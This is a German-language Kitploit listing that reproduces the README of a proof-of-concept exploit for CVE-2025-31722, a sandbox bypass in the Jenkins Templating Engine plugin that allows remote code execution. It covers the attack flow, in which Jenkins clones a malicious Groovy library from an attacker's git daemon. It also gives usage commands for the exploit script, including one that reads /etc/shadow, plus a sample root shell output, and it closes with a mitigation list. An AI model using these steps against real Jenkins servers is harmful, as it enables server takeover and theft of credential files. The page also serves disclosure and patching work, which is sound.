Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-31722 — Proof-of-Concept-Exploit für Jenkins Templating Engine Plugin Sandbox-Bypass (CVE-2025-31722), der Remote-Codeausführung über bösartige Groovy-Bibliotheksinjektion ermöglicht. | Kitploit
Tools/GitHubGitHub/h3raklez/cve-2025-31722
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubh3raklez/cve-2025-31722

CVE-2025-31722

Proof-of-Concept-Exploit für Jenkins Templating Engine Plugin Sandbox-Bypass (CVE-2025-31722), der Remote-Codeausführung über bösartige Groovy-Bibliotheksinjektion ermöglicht.

Repository anzeigen
34vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-31722 — Jenkins Templating Engine RCE

Nur für Bildungszwecke und autorisierte Sicherheitsforschung.

Beschreibung

Sandbox-Bypass-Sicherheitslücke im Jenkins Templating Engine (JTE) Plugin <= 2.5.3, die es einem Benutzer mit niedrigen Berechtigungen ermöglicht, beliebigen Code auf dem Jenkins-Server auszuführen.

Der Fehler tritt auf, weil JTE Bibliotheken aus einem externen Git-Repository lädt, das in einer Ordner-Konfiguration GovernanceTier definiert ist, und die Schritte aus diesen Bibliotheken außerhalb der Groovy-Sandbox ausführt, unabhängig vom Berechtigungsgrad des Benutzers, der den Job erstellt hat.

CVSS: 8.8 (Hoch)
Typ: Sandbox-Bypass → RCE
Betroffene Komponente: pipeline-templating-engine Plugin ≤ 2.5.3
Behobene Version: 2.5.4+


Angriffsablauf

root@kitploit:~
Angreifer (Kali)                          Jenkins-Server
───────────────                          ──────────────
1. Erstellt Git-Repo mit evil.groovy
2. Startet Git-Daemon auf :9418
3. Erstellt Ordner in Jenkins        →    Ordner mit GovernanceTier
   zeigt auf git://KALI:9418/…            zeigt auf Repo des Angreifers
4. Erstellt Job mit AdHoc-Vorlage    →    Job ruft evil() auf
5. Löst Build aus                    →    JTE klont Repo von Kali
                                         Führt evil() außerhalb der Sandbox aus
                                    ←    RCE als Jenkins-Benutzer

Voraussetzungen

Jenkins-Server (Ziel)

  • Jenkins mit installiertem Templating Engine 2.5.3 Plugin
  • Plugins: cloudbees-folder, git, workflow-aggregator
  • CSRF deaktiviert
  • Benutzer attacker mit Berechtigungen: Item/READ, Item/CREATE, Item/CONFIGURE, Item/BUILD
  • Integrierter Node online mit mindestens einem Executor
  • Ausgehende Netzwerkkonnektivität vom Server zur IP des Angreifers auf Port 9418

Angreifer-Maschine (Kali)

  • Python 3.8+
  • git installiert
  • Port 9418 vom Jenkins-Server erreichbar
  • Python-Bibliothek: requests
root@kitploit:~
pip install requests

Labor-Einrichtung

Das Setup wurde auf einem Debian/Ubuntu-Server installiert, Jenkins eingerichtet, Benutzer, Berechtigungen und erforderliche Plugins konfiguriert. Es erstellt keine schädlichen Inhalte — das wird ausschließlich vom PoC übernommen.


Verwendung

Grundlegende Ausnutzung

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP>

Benutzerdefinierter Befehl

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cmd "cat /etc/shadow"

Bereinigung

root@kitploit:~
python3 exploit.py \
  --url http://<JENKINS-IP>:8080 \
  --user attacker \
  --pass attacker123 \
  --git-host <KALI-IP> \
  --cleanup

Parameter

ParameterBeschreibungErforderlich
--urlBasis-URL von JenkinsJa
--userBenutzer mit Item/CREATE+CONFIGURE+BUILD-BerechtigungenJa
--passBenutzerpasswortJa
--git-hostKali-IP, die von Jenkins erreichbar istJa
--cmdAuf dem Server auszuführender Befehl (Standard: id && hostname && cat /etc/passwd)Nein
--cleanupLöscht den vom Exploit erstellten Ordner, Job und das RepositoryNein

Funktionsweise des PoC

  1. setup_repo() — Erstellt ~/jte-exploit/evil-lib/steps/evil.groovy auf Kali mit dem auszuführenden Befehl
  2. start_git_daemon() — Startet git daemon auf Kali auf Port 9418
  3. create_folder() — Erstellt einen Ordner in Jenkins mit einem GovernanceTier, der auf git://KALI:9418/jte-exploit zeigt
  4. create_job() — Erstellt einen Job mit AdHocTemplateFlowDefinition, der evil-lib deklariert und evil() aufruft
  5. trigger_and_wait() — Löst den Build aus und wartet auf das Ergebnis
  6. print_output() — Zeigt die Konsolenausgabe mit dem RCE-Ergebnis an

Der Git-Daemon bleibt während des gesamten Build-Zyklus aktiv und wird automatisch beendet, sobald der Build abgeschlossen ist.


Erwartete Ausgabe

root@kitploit:~
=================================================================
  CVE-2025-31722 — Jenkins Templating Engine RCE
  Target  : http://10.211.55.10:8080
  Git host: 10.211.55.7
  Command : id && hostname && cat /etc/passwd
=================================================================

[+] Authenticated as: attacker (id=attacker)
[+] Repo created: /root/jte-exploit
[+] Malicious step: evil-lib/steps/evil.groovy
[+] Git daemon running at git://10.211.55.7:9418/jte-exploit
[+] Folder created
[+] Job created
[+] Build queued

=================================================================
  CVE-2025-31722 — RCE OUTPUT
=================================================================
[JTE] ...
uid=0(root) gid=0(root) groups=0(root)
debian
root:x:0:0:root:/root:/bin/bash
...
=================================================================

Abhilfe

  • Aktualisieren Sie das Templating Engine Plugin auf Version 2.5.4 oder neuer
  • Beschränken Sie die Berechtigungen Item/CREATE und Item/CONFIGURE auf vertrauenswürdige Benutzer
  • Aktivieren Sie den CSRF-Schutz in Jenkins
  • Überprüfen Sie Ordner mit GovernanceTier-Konfigurationen, die auf externe Repositorys verweisen

Referenzen

  • Jenkins-Sicherheitshinweis
  • JTE Plugin GitHub

Rechtlicher Hinweis: Dieses PoC dient ausschließlich zu Bildungszwecken und zum Testen in kontrollierten Umgebungen. Die Verwendung gegen Systeme ohne ausdrückliche Genehmigung ist illegal.

Tool herunterladen